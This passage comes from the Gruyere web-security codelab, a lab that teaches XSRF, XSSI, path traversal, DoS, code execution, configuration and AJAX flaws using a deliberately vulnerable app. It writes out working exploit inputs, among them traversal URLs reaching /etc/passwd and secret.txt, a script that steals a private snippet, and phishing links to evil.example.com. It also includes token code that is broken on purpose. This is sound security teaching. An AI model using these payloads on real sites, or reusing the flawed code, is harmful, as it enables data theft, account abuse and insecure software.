Alice. It verifies that the blog referenced
by <code>alice's-blog-id</code> is owned by Alice. It deletes Alice's
blog.
</li>
<li> Alice has no idea what hit her.
</li>
</ul>
In this sample attack, since each user has their own blog id, the
attack has to be specifically targeted to a single person. In many
cases, though, requests like these don't contain any user-specific
data.
</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="3__xsrf_challenge"> </a> XSRF Challenge </h3>
The goal here is to find a way to perform an account changing action
on behalf of a logged in Gruyere user without their
knowledge. Assume you can get them to visit a web page under your
control.
<br />

<img src="https://google-gruyere.appspot.com/static/cheese_b.png" style="padding-right: 5px; vertical-align: middle;" /> <b> Find a way to get someone to delete one
of their Gruyere snippets.</b>
<br />

What is the URL used to delete a snippet? Look at the URL associated
with the "X" next to a snippet.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="xsrf_soln" style="display: block;">

<b>To exploit,</b> lure a user to visit a page that makes
the following request:
<br />

<pre>http://google-gruyere.appspot.com/123/deletesnippet?index=0
</pre>
To be especially sneaky, you could set your Gruyere icon to this URL
and the victim would be exploited when they visited the main page.
<br />

<b>To fix,</b> we should first change <code>/deletesnippet</code> to
work via a <code>POST</code> request since this is a state changing
action. In the HTML form, change <code>method='get'</code>
to <code>method='post'</code>. On the server side, <code>GET</code>
and <code>POST</code> requests look the same except that they usually
call different handlers. For example, Gruyere uses Python's
BaseHTTPServer which calls <code>do_GET</code> for <code>GET</code>
requests and <code>do_POST</code> for <code>POST</code> requests.
<br />

<b>However</b>, note that changing to <code>POST</code> is not enough
of a fix in itself! (Gruyere uses <code>GET</code> requests
exclusively because it makes hacking it a bit
easier. <code>POST</code> is not more secure than <code>GET</code> but
it is more correct: browsers may re-issue <code>GET</code> requests
which can result in an action getting executed more than once;
browsers won't reissue <code>POST</code> requests without user
consent.) Then we need to pass a unique, unpredictable authorization
token to the user and require that it get sent back before performing
the action. For this authorization token, <code>action_token</code>,
we can use a hash of the value of the user's cookie appended to a
current timestamp and include this token in all state-changing HTTP
requests as an additional HTTP parameter. The reason we
use <code>POST</code> over <code>GET</code> requests is that if we
pass <code>action_token</code> as a URL parameter, it might leak via
HTTP Referer headers. The reason we include the timestamp in our hash
is so that we can expire old tokens, which mitigates the risk if it
leaks.
<br />

When a request is processed, Gruyere should regenerate the token
and compare it with the value supplied with the request. If the values
are equal, then it should perform the action. Otherwise, it should
reject it. The functions that generate and verify the tokens look like
this:
<br />

<pre>def _GenerateXsrfToken(self, cookie):
  """Generates a timestamp and XSRF token for all state changing actions."""

timestamp = time.time()
  return timestamp + "|" + (str(hash(cookie_secret + cookie + timestamp)))

def _VerifyXsrfToken(self, cookie, action_token):
  """Verifies an XSRF token included in a request."""

# First, make sure that the token isn't more than a day old.
  (action_time, action_hash) = action_token.split("|", 1)
  now = time.time()
  if now - 86400 > float(action_time):
    return False

# Second, regenerate it and check that it matches the user supplied value
  hash_to_verify = str(hash(cookie_secret + cookie + action_time)
  return action_hash == hash_to_verify
</pre>
<b>Oops!</b> There's several things wrong with these functions.
<br />
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> What's missing? </h4>
<div id="xsrf_whats_wrong" style="display: block;">

By including the time in the token, we prevent it from being used
forever, but if an attacker were to gain access to a copy of the
token, they could reuse it as many times as they wanted within that 24
hour period. The expiration time of a token should be set to a small
value that represents the reasonable length of time it will take the
user to make a request.  This token also doesn't protect against an
attack where a token for one request is intercepted and then used for
a different request. As suggested by the
name <code>action_token</code>, the token should be tied to the
specific state changing action being performed, such as the URL of the
page. A better signature for <code>_GenerateXsrfToken</code> would
be <code>(self, cookie, action)</code>. For very long actions, like
editing snippets, a script on the page could query the server to
update the token when the user hits submit. (But read the next section
about XSSI to make sure that an attacker won't be able to read that
new token.)<br />

XSRF vulnerabilities exist because an attacker can easily script a
series of requests to an application and than force a user to execute
them by visiting some page. To prevent this type of attack, you need
to introduce some value that can't be predicted or scripted by an
attacker for <b>every account changing</b> request. Some application
frameworks have XSRF protection built in: they automatically include a
unique token in every response and verify it on every POST request.
Other frameworks provide functions that you can use to do that. If
neither of these cases apply, then you'll have
to <a href="http://www.google.com/search?q=preventing+%28XSRF+OR+CSRF%29" target="_top">build your own</a>. Be careful of things that don't
work: using <code>POST</code> instead of <code>GET</code> is advisable
but not sufficient by itself, checking Referer headers is
insufficient, and copying cookies into hidden form fields can make
your cookies less secure.
<br />

</div>
</div>
<br />
</div>
<h2>
<a href="https://www.blogger.com/null" name="3__cross_site_script_inclusion"> </a> Cross Site Script Inclusion (XSSI) </h2>
Browsers prevent pages of one domain from reading pages in other
domains. But they do not prevent pages of a domain from referencing
resources in other domains. In particular, they allow images to be
rendered from other domains and scripts to be executed from other
domains. An included script doesn't have its own security context. It
runs in the security context of the page that included it. For
example, if <code>www.evil.example.com</code> includes a script hosted
on <code>www.google.com</code> then that script runs in
the <code>evil</code> context not in the <code>google</code>
context. So any user data in that script will "leak."
<br />

<h3>
<a href="https://www.blogger.com/null" name="3__xssi_challenge"> </a> XSSI Challenge </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" />
<b>Find a way to read someone else's private snippet using XSSI.</b>
<br />

That is, create a page on another web site and put something in
that page that can read your private snippet. (You don't need to post
it to a web site: you can just create a <code>.html</code> in your
home directory and double click on it to open in a browser.)
<br />

You can run a script from another domain by
adding
<br />
<pre><SCRIPT src="http://google-gruyere.appspot.com/123/..."></SCRIPT>
</pre>
to your HTML file. What scripts does Gruyere have?

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="xssi_hint2" style="display: block;">

<code><a href="https://google-gruyere.appspot.com/code/?resources/feed.gtl">feed.gtl</a></code> is a
script. Given that, how can you get the private snippet out of the
script?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="xssi_sol" style="display: block;">

<b>To exploit,</b> put this in an html file:
<br />

<pre><script>
function _feed(s) {
  alert("Your private snippet is: " + s['private_snippet']);
}
</script>
<script src="http://google-gruyere.appspot.com/123/feed.gtl"></script>
</pre>
When the script
in <code><a href="https://google-gruyere.appspot.com/code/?resources.feed.gtl">feed.gtl</a></code> is
executed, it runs in the context of the attacker's web page and uses
the <code>_feed</code> function which can do whatever it wants with
the data, including sending it off to another web site.
<br />

You might think that you can fix this by eliminating the function
call and just having the bare expression. That way, when the script is
executed by inclusion, the response will be evaluated and then
discarded. That won't work because Javascript allows you to do things
like redefine default constructors. So when the object is evaluated,
the hosting page's constructors are invoked, which can do whatever
they want with the values.
<br />

<b>To fix,</b> there are several changes you can make. Any
one of these changes will prevent currently possible attacks, but if
you add several layers of protection
("<a href="http://www.google.com/search?q=%22defense+in+depth%22+security">defense
in depth</a>") you protect against the possibility that you get one of
the protections wrong and also against future browser
vulnerabilities. First, use an XSRF token as discussed earlier to make
sure that JSON results containing confidential data are only returned
to your own pages. Second, your JSON response pages should only
support <code>POST</code> requests, which prevents the script from
being loaded via a script tag. Third, you should make sure that the
script is not executable. The standard way of doing this is to append
some non-executable prefix to it,
like <code>])}while(1);</x></code>. A script running in the same
domain can read the contents of the response and strip out the prefix,
but scripts running in other domains can't.
<br />

NOTE: Making the script not executable is more subtle than it
seems. It's possible that what makes a script executable may change in
the future if new scripting features or languages are introduced. Some
people suggest that you can protect the script by making it a comment
by surrounding it with <code>/*</code> and <code>*/</code>, but that's
not as simple as it might seem. (Hint: what if someone
included <code>*/</code> in one of their snippets?)
<br />

There's <a href="http://www.google.com/search?q=%22cross+site+script+inclusion%22" target="_top">much more to XSSI</a> than this. There's a variation of
JSON called JSONP which you should avoid using because it allows
script injection <i>by design</i>. And
there's <a href="http://www.google.com/search?q=E4X+markup+security" target="_top">E4X</a> (Ecmascript for XML) which can result in your
HTML file being parsed as a script. Surprisingly, one way to protect
against E4X attacks is to put some invalid XML in your files, like
the <code></x></code> above.
<br /><br />
<h2>
Path Traversal </h2>
Most web applications serve static resources like images and CSS
files. Frequently, applications simply serve all the files in a
folder. If the application isn't careful, the user can use a path
traversal attack to read files from other folders that they shouldn't
have access to. For example, in both Windows and
Linux, <code>..</code> represents the parent directory, so if you can
inject <code>../</code> in a path you can "escape" to the parent
directory.
<br />

If an attacker knows the structure of your file system, then they
can craft a URL that will traverse out of the installation directory
to <code>/etc</code>. For example, if Picasa was vulnerable to path
traversal (it isn't) and the Picasa servers use a Unix-like system,
then the following would retrieve the password file:
<br />

<pre>http://www.picasa.com/../../../../../../../etc/passwd
</pre>
<h3>
<a href="https://www.blogger.com/null" name="4__information_disclosure_path_traversal"> </a> Information
disclosure via path traversal </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_bw.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a way to read <code>secret.txt</code> from
a running Gruyere server.</b>
<br />

Amazingly, this attack is not even necessary in many cases:
people often install applications and never change the defaults. So
the first thing an attacker would try is the default value.
<br />

This isn't a black box attack because you need to know that
the <code>secret.txt</code> file exists, where it's stored, and where
Gruyere stores its resource files. You don't need to look at any
source code.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="read_secret_txt_hint2" style="display: block;">

How does the server know which URLs represent resource files? You can
use curl or a web proxy to craft request URLs that some browsers may
not allow.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="read_secret_txt_sol" style="display: block;">

<b>To exploit,</b> you can steal <code>secret.txt</code> via
this URL:
<br />

<pre>http://google-gruyere.appspot.com/123/../secret.txt
</pre>
Some browsers, like Firefox and Chrome, optimize out <code>../</code>
in URLs. This doesn't provide any security protection because an
attacker will use <code>%2f</code> to represent <code>/</code> in the URL;
or a tool like curl, a web proxy or a browser that
doesn't do that optimization. But if you test your application with
one of these browsers to see if you're vulnerable, you might think you
were protected when you're not.
<br />

<b>To fix,</b> we need to prevent access to files outside
the resources directory.  Validating file paths is a bit tricky as
there are various ways to hide path elements like "../" or "~" that
allow escaping out of the resources folder. The best protection is to
only serve specific resource files. You can either hardcode a list or
when your application starts, you can crawl the resource directory and
build a list of files. Then only accept requests for those files. You
can even do some optimization here like caching small files in memory
which will make your application faster. If you are going to try to
file path validation, you need to do it on the final path, not on the
URL, as there are numerous ways to represent the same characters in
URLs. <i>Note: Changing file permissions will NOT work. Gruyere has
to be able to read this file.</i>
<br />

</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="4__data_tampering_path_traversal"> </a> Data
tampering via path traversal </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_bw.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a way to replace <code>secret.txt</code> on
a running Gruyere server.</b>
<br />

Again, this isn't a black box attack because you need to know about
the directory structure that Gruyere uses, specifically where
uploaded files are stored.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="write_secret_txt_hint2" style="display: block;">

If I log in as user <code>brie</code> and upload a file, where does
the server store it? Can you trick the server into uploading a file
to <code>../../secret.txt</code>?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="write_secret_txt_sol" style="display: block;">

<b>To exploit,</b> create a new user named <code>..</code>
and upload your new <code>secret.txt</code>. You could also create a
user named <code>brie/../..</code>.
<br />

<b>To fix,</b> you should escape dangerous characters in the username
(replacing them with safe characters) before using it. It was earlier
suggested that we should restrict the characters allowed in a username,
but it probably didn't occur to you that <code>"."</code> was a
dangerous character.  It's worth noting that there's a vulnerability
unique to Windows servers with this implementation. On Windows,
filenames are not case sensitive but Gruyere usernames are. So one
user can attack another user's files by creating a similar username
that differs only in case, e.g., <code>BRIE</code> instead
of <code>brie</code>. So we need to not just escape unsafe characters
but convert the username to a canonical form that is different for
different usernames. Or we could avoid all these issues by assigning
each user a unique identifier instead.
<br />

<b>Oops!</b> This doesn't completely solve the problem. Even with the
above fix in place, there is another way to perform this attack. Can
you find it?
<br />
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint </h4>
<div id="another_write_secret_hint" style="display: block;">

Are there any limits on the filename when you do an upload?  You may
need to use a special tool like <code>curl</code> or a web proxy to
perform this attack.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Another Exploit and Fix </h4>
<div id="write_secret_txt_sol2" style="display: block;">
 Surprisingly, you can upload a file
named <code>../secret.txt</code>. Gruyere provides no protection
against this attack. Most browsers won't let you upload that file but,
again, you can do it with curl or other tools. You need the same kind
of protection when writing files as you do on read.
<br />

As a general rule, you should never store user data in the
same place as your application files but that alone won't protect
against these attacks since if the user can inject <code>../</code>
into the file path, they can traverse all the way to the root of the
file system and then back down to the normal install location of your
application (or even the Python interpreter itself).
</div>
</div>
</div>
<br />
<h2>
<a href="https://www.blogger.com/null" name="4__denial_of_service"> </a> Denial of Service </h2>
A denial of service (DoS) attack is an attempt to make a server unable
to service ordinary requests. A common form of DoS attack is sending
more requests to a server than it can handle. The server spends all
its time servicing the attacker's requests that it has very little
time to service legitimate requests. Protecting an application against
these kinds of DoS attacks is outside the scope of this codelab. And
attacking Gruyere in this way would be interpreted as an attack on
App Engine.
<br />
 Hackers can also prevent a server from servicing requests by
taking advantage of server bugs, such as sending requests that crash a
server, make it run out of memory, or otherwise cause it fail serving
legitimate requests in some way. In the next few challenges, you'll
take advantage of bugs in Gruyere to perform DoS attacks.
<br />

<h3>
<a href="https://www.blogger.com/null" name="4__dos_quit_server"> </a> DoS - Quit the Server </h3>
The simplest form of denial of service is shutting down a service.

<img src="https://google-gruyere.appspot.com/static/cheese_bw.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a way to make the server quit.</b>
<br />

How does an administrator make the server quit? The server management
page is <code><a href="https://google-gruyere.appspot.com/code/?resources/manage.gtl">manage.gtl</a></code>.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="dos_quit_soln" style="display: block;">

<b>To exploit,</b> make a request
to <code>http://google-gruyere.appspot.com/123/quitserver</code>. You
should need to be logged in as an administrator to do this, but you
don't.
<br />

This is another example of a common bug. The server protects
against non-administrators accessing certain URLs but the list
includes <code>/quit</code> instead of the actual
URL <code>/quitserver</code>.
<br />

<b>To fix,</b> add <code>/quitserver</code> to the URLS only
accessible to administrators:
<br />
<pre>_PROTECTED_URLS = [
    "/quitserver",
    "/reset"
]
</pre>
<b>Oops!</b> This doesn't completely solve the problem.
The <code>reset</code> URL is in the protected list. Can you figure
out how to access it?
<br />

Look carefully at the code that handles URLs and checks for protected ones.
</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Another Exploit and Fix </h4>
<div id="dos_bonus_soln" style="display: block;">

<b>To exploit,</b>
use <code>http://google-gruyere.appspot.com/123/RESET</code>. The check for
protected urls is case sensitive. After doing that check, it
capitalizes the string to look up the implementation. This is a
classic check/use bug where the condition being checked does not match
the actual use. This vulnerability is worse than the previous one
because it exposes all the protected urls.
<br />

<b>To fix,</b> put the security check inside the dangerous
functions rather than outside them. That ensures that no matter how we
get there, the security check can't be skipped.
</div>
</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="4__dos_overload_server"></a> DoS - Overloading the Server </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_b.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a way to overload the server when it processes a request.</b>
<br />

You can upload a template that does this.
</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="dos_overload_hint2" style="display: block;">

Every page includes
the <code><a href="https://google-gruyere.appspot.com/code/?resources/menubar.gtl">menubar.gtl</a></code>
template. Can you figure out how to make that template overload the
server?
</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="dos_overload_soln" style="display: block;">

<b>To exploit,</b> create a file named <code>menubar.gtl</code>
containing:
<br />
<pre>[[include:menubar.gtl]]DoS[[/include:menubar.gtl]]
</pre>
and upload it to the <code>resources</code> directory using a path traversal attack, e.g., creating a user named <code>../resources</code>.

<b>To fix,</b> implement the protections against path traversal and uploading templates discussed earlier.

<br />

</div>
<b>NOTE:</b> After performing the previous exploit, you'll need to
push the <a href="https://google-gruyere.appspot.com/part1#1__reset_button">reset button</a>.

</div>
<h3>
<a href="https://www.blogger.com/null" name="4__more_dos"> </a> More on Denial of
Service </h3>
Unlike a well defined vulnerability like XSS or XSRF, denial of
service describes a wide class of attacks. This might mean bringing
your service down or flooding your inbox so you can't receive
legitimate mail. Some things to consider:
<br />

<ul>
<li> If you were evil and greedy, how quickly could you take down your
application or starve all of its resources? For example, is it
possible for a user to upload their hard drive to your application?
Entering the attacker's mindset can help identify DoS points in your
application. Additionally, think about where the computationally and
memory intensive tasks are in your application and put safeguards in
place. Do sanity checks on input values.
<br />

</li>
<li>Put monitoring in place so you can detect when you are under
attack and enforce per user quotas and rate limiting to ensure that a
small subset of users cannot starve the rest. Abusive patterns could
include increased memory usage, higher latency, or more requests or
connections than usual.
<br />

</li>
</ul>
<br />

<h2>
<a href="https://www.blogger.com/null" name="4__code_execution"> </a> Code Execution </h2>
If an attacker can execute arbitrary code remotely on your server,
it's usually game over. They may be able to take control over the
running program or potentially break out the process to open a new
shell on the computer. From here, it's usually not hard to compromise
the entire machine the server is running on.
<br />

Similar to information disclosure and denial of service, there
is no recipe or specific defense to prevent remote code execution. The
program must perform validation of all user input before handling it
and where possible, implement functions with least privilege
rights. This topic can't be done justice in just a short paragraph,
but know that this is likely the scariest results a security bug can
have and trumps any of the above attacks.
<br />

<h3>
<a href="https://www.blogger.com/null" name="4__code_execution_challenge"> </a> Code Execution Challenge </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a code execution exploit.</b>
<br />

You need to use two previous exploits.
</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="code_upload_soln" style="display: block;">

<b>To exploit,</b> make a copy
of <code><a href="https://google-gruyere.appspot.com/code/?gtl.py">gtl.py</a></code>
(or <code><a href="https://google-gruyere.appspot.com/code/?sanitize.py">sanitize.py</a></code>) and
add some exploit code. Now you can either upload a file
named <code>../gtl.py</code> or create a user named <code>..</code>
and upload <code>gtl.py</code>. Then, make the server quit by browsing
to <code>http://google-gruyere.appspot.com/123/quitserver</code>. When the
server restarts, your code will run.
<br />

This attack was possible because Gruyere has permission to both
read and write files in the Gruyere directory. Applications should
run with the minimal privileges possible.
<br />

Why would you attack <code>gtl.py</code>
or <code>sanitize.py</code> rather than <code>gruyere.py</code>?
When an attacker has a choice, they would usually choose to attack the
infrastructure rather than the application itself. The infrastructure
is less likely to be updated and less likely to be noticed. When was
the last time you checked that no one had
replaced <code>python.exe</code> with a trojan?
<br />

<b>To fix,</b> fix the two previous exploits.
<br />

</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="4__more_code_execution"> </a> More on Remote
Code Execution </h3>
Even though there is no single or simple defense to remote code
execution, here is a short list of some preventative measures:
<br />

<ul>
<li><b>Least Privilege:</b> Always run your application with
the <a href="http://www.google.com/search?q=least+privileges" target="_top">least privileges</a> it needs.
<br />

</li>
<li><b>Application Level Checks:</b> Avoid passing user input
directly into commands that evaluate arbitrary code,
like <code>eval()</code> or <code>system()</code>. Instead, use the
user input as a switch to choose from a set of developer controlled
commands.
<br />

</li>
<li><b>Bounds Checks:</b> Implement proper bounds checks for
non-safe languages like
C++. Avoid <a href="http://www.google.com/search?q=unsafe+string+functions" target="_top">unsafe string functions</a>. Keep in mind that even safe
languages like Python and Java use native libraries.
<br />

</li>
</ul>
<h2>
Configuration
Vulnerabilities </h2>
Applications are often installed with default settings that attackers
can use to attack them. This is particularly an issue with third party
software where an attacker has easy access to a copy of the same
application or framework you are running. Hackers know the default
account names and passwords. For example, looking at the contents
of <code><a href="https://google-gruyere.appspot.com/code/?data.py">data.py</a></code> you know that
there's a default administrator account named 'admin' with the
password
'secret'. See <a href="http://www.governmentsecurity.org/articles/default-logins-and-passwords-for-networked-devices.html" target="_blank">http://www.governmentsecurity.org/<wbr></wbr>articles/<wbr></wbr>default-<wbr></wbr>logins-<wbr></wbr>and-<wbr></wbr>passwords-<wbr></wbr>for-<wbr></wbr>networked-<wbr></wbr>devices.html</a>
for a sample hacker resource.
<br />

Configuration vulnerabilities also include features that
increase attack surface. A common example is a feature that is on by
default but you are not using, so you didn't configure it and the
default configuration is vulnerable. It also includes debug features
like status pages or dumping stack traces on failures.
<br />

<h3>
<a href="https://www.blogger.com/null" name="5__information_disclosure_config_1"> </a> Information disclosure #1 </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" />
<b>Read the contents of the database off of a
running server by exploiting a configuration vulnerability.</b>
<br />

You should look through the Gruyere code looking for default
configurations or debug features that don't belong there.<br />

Look at all the files installed with Gruyere. Are there any files
that shouldn't be there?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="disclosure_1_hint2" style="display: block;">

Look for a <code>.gtl</code> file that isn't referenced anywhere.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fixes </h4>
<div id="disclosure_1_sol" style="display: block;">

<b>To exploit,</b> you can use the debug dump
page <code><a href="https://google-gruyere.appspot.com/code/?resoources/dump.gtl">dump.gtl</a></code>
to display the contents of the database via the following URL:
<br />
<pre>http://google-gruyere.appspot.com/123/dump.gtl
</pre>
<b>To fix,</b> always make sure debug features are not
installed. In this case, delete <code>dump.gtl</code>. This is an
example of the kind of debug feature that might be left in an
application by mistake. If a debug feature like this is necessary,
then it needs to be carefully locked down: only admin users should
have access and only requests from debug IP addresses should be
accepted.
<br />
 This exploit exposes the users' passwords. Passwords should
never be stored in cleartext. Instead, you should
use <a href="http://www.google.com/search?q=password+hashing">password
hashing</a>. The idea is that to authenticate a user, you don't need
to know their password, only be convinced that the user knows it. When
the user sets their password, you store only a cryptographic hash of
the password and a salt value. When the user re-enters their password
later, you recompute the hash and if it matches you conclude the
password is correct. If an attacker obtains the hash value, it's very
difficult for them to reverse that to find the original
password. (Which is a good thing, since
despite <a href="http://www.google.com/search?q=choosing+a+good+password">lots
of advice</a> to the contrary, users frequently use the same weak
passwords for multiple sites.)
</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="5__information_disclosure_config_2"> </a> Information disclosure #2 </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" />
<b>Even after implementing the fix described above, an attacker can
undo it and execute the attack! How can that be?</b>
<br />

You can upload a file of any type.
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fixes </h4>
<div id="disclosure_2_sol" style="display: block;">

<b>To exploit,</b> Gruyere allows the user to upload files of any
type, including <code>.gtl</code> files. So the attacker can simply
upload their own copy
of <code><a href="https://google-gruyere.appspot.com/code/?resources/dump.gtl">dump.gtl</a></code> or a
similar file and than access it. In fact, as noted earlier, hosting
arbitrary content on the server is a major security risk whether it's
HTML, JavaScript, Flash or something else. Allowing a file with an
unknown file type may lead to a security hole in the future.
<br />

<b>To fix,</b> we should do several things:
<br />
<ol>
<li> Only files that are part of Gruyere should be treated as templates.
</li>
<li> Don't store user uploaded files in the same place as application files.
</li>
<li> Consider limiting the types of files that can be uploaded (via a
whitelist).
</li>
</ol>
</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="5__information_disclosure_bug_3"> </a> Information disclosure #3 </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" />
<b>Even after implementing the fixes described above, a similar attack
is still possible through a different attack vector. Can you find it?</b>
<br />

This attack isn't a a configuration vulnerability, just bad code.
<br />

<div style="margin-left: 18pt;">
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 1 </h4>
<div id="disclosure_3_hint1" style="display: block;">
You can insert something in your private snippet which will display the contents of the database.<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="disclosure_3_hint2" style="display: block;">
This attack is closely related to the previous ones. There is a bug
in the code that expands templates that you can exploit.<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fixes </h4>
<div id="disclosure_3_sol" style="display: block;">

There is a defect in Gruyere's template expansion code that reparses
expanded variables. Specifically, when expanding a block it expands
variables in the block. Then it parses the block as a template and
expands variables again,
<br />

<b>To exploit,</b> add this to your private snippet:
<pre>{{_db:pprint}}
</pre>
<b>To fix,</b> modify the template code so it never reparses inserted
variable values. The defect in the code is due to the fact
that <code>ExpandTemplate</code> calls <code>_ExpandBlocks</code>
followed by <code>_ExpandVariables</code>,
but <code>_ExpandBlocks</code> calls <code>ExpandTemplate</code> on
nested blocks. So if a variable is expanded inside a nested block and
contains something that looks like a variable template, it will get
expanded a second time. That sounds complicated because it is
complicated. Parsing blocks and variables separately is a fundamental
flaw in the design of the expander, so the fix is non-trivial.
<br />

This exploit is possible because the template language allows
arbitrary database access. It would be safer if the templates were
only allowed to access data specifically provided to them. For
example, a template could have an associated database query and only
the data matched by that query would be passed to the template. This
would limit the scope of a bug like this to data that the user was
already allowed to access.
<br />

</div>
</div>
<br /><br />
<h2>
<a href="https://www.blogger.com/null" name="5__ajax_vulnerabilities"> </a> AJAX
vulnerabilities </h2>
Bad AJAX code allows attackers to modify parts
of your application in ways that you might not expect. In traditional
client development, there is a clear separation between the
application and the data it displays. That's not true in web
applications as the next two attacks will make clear.

<h3>
<a href="https://www.blogger.com/null" name="5__dos_via_ajax"> </a> DoS via AJAX </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_b.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find an attack that prevents users from seeing
their private snippets on the home page.</b> (The attack should be
triggered after clicking the refresh link and without using XSS.)
<br />

Can you figure out how to change the value of the private snippet in
the AJAX response?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="dom_hint2" style="display: block;">

What happens if a JSON object has a duplicate key value?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="dom_sol" style="display: block;">

<b>To exploit,</b> create a user
named <code>private_snippet</code> and create at least one
snippet. The JSON response will then be <code>{'private_snippet' :
<user's private snippet>, ..., 'private_snippet' :
<attacker's snippet>}</code> and the attacker's snippet replaces
the user's.
<br />

<b>To fix,</b> the AJAX code needs to make sure that the
data only goes where it's supposed to go. The flaw here is that the
JSON structure is not robust. A better structure would
be <code>[<private_snippet>, {<user> :
<snippet>,...}]</code>.
<br />

</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="5__phishing_via_ajax"> </a> Phishing via AJAX </h3>
While the previous attack may seem like a minor inconvenience,
careless DOM manipulation can lead to much more serious problems.
<br />

<img src="https://google-gruyere.appspot.com/static/cheese_b.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Find a way to change the sign in link in the
upper right corner to point to <code>http://evil.example.com</code>.</b>
<br />

(The attack should be triggered after clicking the refresh
link and without using XSS or a script.)
<br />

Look at what the script does to replace the snippets on the page. Can
you get it to replace the sign in link?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="phishing_hint2" style="display: block;">

Look at the AJAX code to see how it replaces each snippet, and then
look at the structure of the home page and see if you can see what
else you might be able to replace. (You can't just replace the sign in
link. You'll have to replace a bit more.)
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="phishing_sol" style="display: block;">

<b>To exploit,</b> create a user
named <code>menu-right</code> and publish a snippet that looks exactly
like the right side of the menu bar.
<br />

<pre><a href='http://evil.example.com/login'>Sign in</a>
| <a href='http://evil.example.com/newaccount.gtl'>Sign up</a>
</pre>
If the user is already logged in, the menu bar will look wrong. But
that's ok, since there's a good chance the user will just think they
somehow accidentally got logged out of the web site and log in again.
<br />

<b>To fix,</b> the process of modifying the DOM needs to be
made more robust. When user values are used in as DOM element
identifiers, you should ensure that there can't be a conflict as there
is here, for example, applying a prefix to user values
like <code>id="user_"</code>. Even better, use your own
identifiers rather than user values.
<br />

This spoofing attack is easily detected when the user clicks
Sign in and ends up at <code>evil.example.com</code>. A clever attacker could
do something harder to detect, like replacing the Sign in link with a
script that renders the sign in form on the current page with the form
submission going to their server.
<br />

</div>
</div>
<br />

<h2>
<a href="https://www.blogger.com/null" name="5__other_vulnerabilities"> </a> Other Vulnerabilities </h2>
<h3>
<a href="https://www.blogger.com/null" name="5__buffer_and_integer_overflow"> </a> Buffer Overflow and Integer Overflow </h3>
<div>
A <a href="http://www.google.com/search?q=buffer+overflow" target="_top">buffer overflow</a> vulnerability exists when an
application does not properly guard its buffers and allow user data to
write past the end of a buffer. This excess data can modify other
variables, including pointers and function return addresses, leading
